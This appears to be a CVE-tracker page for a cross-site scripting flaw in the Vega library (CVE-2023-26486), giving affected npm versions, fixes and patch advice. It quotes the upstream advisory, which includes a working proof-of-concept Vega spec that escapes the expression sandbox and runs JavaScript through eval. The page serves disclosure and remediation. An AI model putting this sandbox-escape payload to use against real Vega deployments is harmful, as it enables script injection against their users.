Vega Expression Language `scale` expression function Cross Site Scripting (CVE-2023-26486)

Vega Expression Language `scale` expression function Cross Site Scripting (CVE-2023-26486) | HOL Guard CVE

Why this deserves its current priority

CVSS is 6.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps vega (npm), vega-functions (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
Package	Affected range	Fixed version
veganpm	>=0 <5.23.0	5.23.0
vega-functionsnpm	>=0 <5.13.1	5.13.1

Recommended response

Check inventory. Check lockfiles and deployed manifests for vega, vega-functions.
Review the reported fix. Update vega to 5.23.0; vega-functions to 5.13.1 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

Published upstream
Mar 2, 2023
Evidence: source:osv:source_dates:source-dates:record
Source modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:record
First seen by HOL
Sep 10, 2026

Sources and claim methodology

Upstream source description

### Summary The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. ### Details The [scale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37) expression function passes a user supplied argument `group` to [getScale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6), which is then used as if it were an internal context. The `context.scales[name].value` is accessed from `group` and called as a function back in `scale`. ### PoC The following Vega definition can be used to demonstrate this issue executing the JavaScript code `alert(1);` ```json { "$schema": "https://vega.github.io/schema/vega/v5.json", "data": [ { "name": "XSS PoC", "values": [1], "transform": [ { "type": "formula", "as": "amount", "expr": "scale('func', null, {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})" } ] } ] } ``` This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA

Quoted source text, attributed separately from HOL analysis.